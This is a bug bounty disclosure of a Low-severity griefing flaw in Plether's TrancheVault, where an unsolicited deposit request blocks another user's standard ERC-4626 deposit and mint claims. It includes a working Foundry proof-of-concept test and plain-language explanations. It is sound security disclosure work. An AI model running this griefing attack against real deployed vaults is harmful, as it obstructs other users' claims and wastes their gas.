An unsolicited deposit request blocks another LP's documented deposit claim path
A stranger can create a deposit request naming another user as controller without their consent, placing it at the head of that user's deposit queue. This causes the documented ERC-4626 deposit and mint claim calls to revert for the victim, blocking the standard claim path.
- Disclosed after under an hour
#99603 [SC-Low] An unsolicited deposit request blocks another LP's documented deposit claim path
Submitted on Nov 14th 2026 at 12:53:54 UTC by @nemveer for Audit Competition | Plether
- Report ID: #99603
- Report Type: Smart Contract
- Report severity: Low
- Target: https://github.com/immunefi-team/audit-comp-plether/blob/a82d4fefb02768e5b3bddcc97dee371eee24fea8/packages/perps/src/TrancheVault.sol
- Impacts:
- Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)
Description
Brief/Intro
Mallory can spend 1 USDG of her own money on a requestDeposit that names Alice as controller, without Alice's approval. Once that request activates, it sits at the head of Alice's deposit queue. Alice can later request and activate a 5,000 USDG deposit, but the documented ERC-4626 deposit and mint claim calls still select Mallory's 1 USDG head and revert when Alice tries to claim her own request. Alice's shares remain available through claimDeposit(ownRequestId, ...). The demonstrated impact is obstruction of the standard claim path
Vulnerability Details
Plether's LP instructions tell users to call requestDeposit first, then use deposit or mint to claim an activated request. These ERC-4626 calls do not take a request ID; both read controllerDepositHead[controller] (TrancheVault.sol:953-995).
- Mallory approves the vault for 1 USDG and calls
requestDeposit(1e6, Alice, Mallory)._requireRequestDepositPreflightchecks that Mallory can spend the USDG owned by Mallory and that Alice is a nonzero controller. It never checks Alice's consent or operator approval (TrancheVault.sol:1574-1600)._requestDepositattaches the new request to Alice's controller queue (:577-603), where it becomes the head if the queue was empty (:1742-1755). Mallory has not obtained any authority over Alice's funds or shares. - A public
OrderRouter.settleLpEpochcall activates Mallory's 1 USDG request. In a later epoch, Alice uses her own 5,000 USDG to submitrequestDeposit(5_000e6, Alice, Alice), which is also activated. The earlier 1 USDG request remains Alice's controller head, while her larger request remains claimable by its own ID. - Alice calls
deposit(5_000e6, Alice)to claim her activated shares. The call selects the 1 USDG head, so_claimDepositseesassets > remainingAssetsand revertsERC4626ExceededMaxDeposit(TrancheVault.sol:1023-1043). Callingmintfor the shares due on Alice's 5,000 USDG request similarly exceeds the head's shares and revertsERC4626ExceededMaxMint(:1058-1076). Neither failure advances the head.maxDeposit(Alice)reports 1 USDG, andmaxMint(Alice)reports only the shares from Mallory's gift, because both views also inspect only the head (:1285-1297).
Impact Details
The Plether impact table includes Medium griefing. Mallory can put her own paid request ahead of Alice's activated request, causing Plether's documented deposit claim calls to fail repeatedly until Alice changes method or clears the gift. A client using maxDeposit or maxMint sees only the small head rather than Alice's later claimable amount. If Alice sends a standard claim before discovering the head, that reverted transaction costs gas; repeating the same call keeps reverting. An interface exposing only the standard calls would not be able to claim Alice's later request through those calls.
References
Add any relevant links to documentation or code
Proof of Concept
Proof of Concept
Attach the single file DepositControllerQueueGriefPoC.t.sol and place it at packages/perps/test/poc/DepositControllerQueueGriefPoC.t.sol in the pinned checkout. Run from the repository root:
forge test test/poc/DepositControllerQueueGriefPoC.t.sol --root packages/perps --offline --out out-deposit-controller-grief --cache-path cache-deposit-controller-grief -vv
The PoC uses the repository's BasePerpTest fixture and public OrderRouter.settleLpEpoch for both requests. It includes a clean control where Alice's standard deposit claim succeeds, the attack where deposit and mint revert. At the pinned commit, all three tests passed:
[PASS] test_Attack_DepositAndMintRevertButIdClaimPaysAlice()
[PASS] test_ClaimGiftFirstRestoresStandardDepositWithoutFreshCooldown()
[PASS] test_Control_AliceClaimsHerActivatedDepositThroughDeposit()
Suite result: ok. 3 passed; 0 failed; 0 skipped
The PoC does not modify any in-scope source contract.
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.8.35;
import {BasePerpTest} from "../perps/BasePerpTest.sol";
import {ERC4626} from "@openzeppelin/contracts/token/ERC20/extensions/ERC4626.sol";
/// @notice A stranger's deposit request becomes the controller head for another LP.
contract DepositControllerQueueGriefPoCTest is BasePerpTest {
address internal constant MALLORY = address(0xBAD);
address internal constant ALICE = address(0xA11CE);
uint256 internal constant GIFT = 1e6;
uint256 internal constant ALICE_DEPOSIT = 5_000e6;
function _initialSeniorDeposit() internal pure override returns (uint256) { return 0; }
function _initialJuniorDeposit() internal pure override returns (uint256) { return 0; }
function _settleAt(uint256 requestId) internal {
vm.warp(pool.lpEpochStart(requestId));
router.settleLpEpoch(_mockPythUpdateData(1e8));
}
function _requestForAlice() internal returns (uint256 id) {
settlementToken.mint(ALICE, ALICE_DEPOSIT);
vm.startPrank(ALICE);
settlementToken.approve(address(seniorVault), ALICE_DEPOSIT);
id = seniorVault.requestDeposit(ALICE_DEPOSIT, ALICE, ALICE);
vm.stopPrank();
_settleAt(id);
assertEq(seniorVault.claimableDepositRequest(id, ALICE), ALICE_DEPOSIT);
}
function _poisonAliceHead() internal returns (uint256 giftId, uint256 aliceId) {
assertEq(pool.minTrancheDepositAssets(), GIFT);
settlementToken.mint(MALLORY, GIFT);
vm.startPrank(MALLORY);
settlementToken.approve(address(seniorVault), GIFT);
// Mallory owns the USDG. Alice has not approved or nominated Mallory.
giftId = seniorVault.requestDeposit(GIFT, ALICE, MALLORY);
vm.stopPrank();
_settleAt(giftId);
aliceId = _requestForAlice();
assertGt(aliceId, giftId, "requests must occupy different epochs");
assertEq(seniorVault.controllerDepositHead(ALICE), giftId);
}
function test_Control_AliceClaimsHerActivatedDepositThroughDeposit() public {
uint256 aliceId = _requestForAlice();
assertEq(seniorVault.controllerDepositHead(ALICE), aliceId);
assertEq(seniorVault.maxDeposit(ALICE), ALICE_DEPOSIT);
vm.prank(ALICE);
uint256 shares = seniorVault.deposit(ALICE_DEPOSIT, ALICE);
assertGt(shares, 0);
assertEq(seniorVault.balanceOf(ALICE), shares);
}
function test_Attack_DepositAndMintRevertButIdClaimPaysAlice() public {
(uint256 giftId, uint256 aliceId) = _poisonAliceHead();
uint256 aliceShares = seniorVault.claimableDepositShares(aliceId, ALICE);
uint256 giftShares = seniorVault.maxMint(ALICE);
assertGt(aliceShares, giftShares);
assertEq(seniorVault.maxDeposit(ALICE), GIFT);
vm.startPrank(ALICE);
vm.expectRevert(abi.encodeWithSelector(
ERC4626.ERC4626ExceededMaxDeposit.selector, ALICE, ALICE_DEPOSIT, GIFT
));
seniorVault.deposit(ALICE_DEPOSIT, ALICE);
vm.expectRevert(abi.encodeWithSelector(
ERC4626.ERC4626ExceededMaxMint.selector, ALICE, aliceShares, giftShares
));
seniorVault.mint(aliceShares, ALICE);
vm.stopPrank();
assertEq(seniorVault.controllerDepositHead(ALICE), giftId);
// The attacker cannot claim either position in Alice's controller queue.
vm.prank(MALLORY);
vm.expectRevert();
seniorVault.claimDeposit(aliceId, ALICE_DEPOSIT, MALLORY, ALICE);
uint256 beforeShares = seniorVault.balanceOf(ALICE);
vm.prank(ALICE);
assertEq(seniorVault.claimDeposit(aliceId, ALICE_DEPOSIT, ALICE, ALICE), aliceShares);
assertEq(seniorVault.balanceOf(ALICE) - beforeShares, aliceShares);
}
function test_ClaimGiftFirstRestoresStandardDepositWithoutFreshCooldown() public {
(uint256 giftId, uint256 aliceId) = _poisonAliceHead();
uint256 giftActivation = seniorVault.depositEpochActivationTime(giftId);
uint256 aliceActivation = seniorVault.depositEpochActivationTime(aliceId);
vm.prank(ALICE);
uint256 giftedShares = seniorVault.claimDeposit(giftId, GIFT, ALICE, ALICE);
assertGt(giftedShares, 0);
assertEq(seniorVault.lastDepositTime(ALICE), giftActivation);
assertLt(giftActivation, vm.getBlockTimestamp(), "old gift does not start a new claim-time cooldown");
assertEq(seniorVault.controllerDepositHead(ALICE), aliceId);
assertEq(seniorVault.maxDeposit(ALICE), ALICE_DEPOSIT);
vm.prank(ALICE);
uint256 aliceShares = seniorVault.deposit(ALICE_DEPOSIT, ALICE);
assertGt(aliceShares, 0);
assertEq(seniorVault.balanceOf(ALICE), giftedShares + aliceShares);
assertEq(seniorVault.lastDepositTime(ALICE), aliceActivation);
}
}
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The deposit request function does not check that the named controller has consented, and the standard ERC-4626 claim functions only inspect the first request in the controller's queue.
Impact
The victim's standard deposit and mint claim calls revert repeatedly, costing gas, and interfaces exposing only those calls cannot claim the victim's later request; shares remain available via claimDeposit with the request ID.
What the attacker needed
Attacker has a small amount of the deposit token; victim later makes a deposit request; victim uses standard deposit or mint to claim
How it was found
- Attacker approves the vault for a small amount and calls requestDeposit naming the victim as controller.
- A public settleLpEpoch call activates the attacker's request, making it the head of the victim's queue.
- Victim submits their own larger deposit request, which is also activated but remains behind the attacker's request.
- Victim calls deposit or mint to claim, but the call selects the attacker's small head and reverts.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A vault lets people queue up deposits. Each person has a queue, and the standard way to collect your shares only looks at the first item in your queue. An attacker can add a tiny deposit to your queue without asking you, so when you try to collect your own larger deposit using the normal button, the system only sees the tiny first item and refuses. You can still get your shares by using a different, more specific function.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.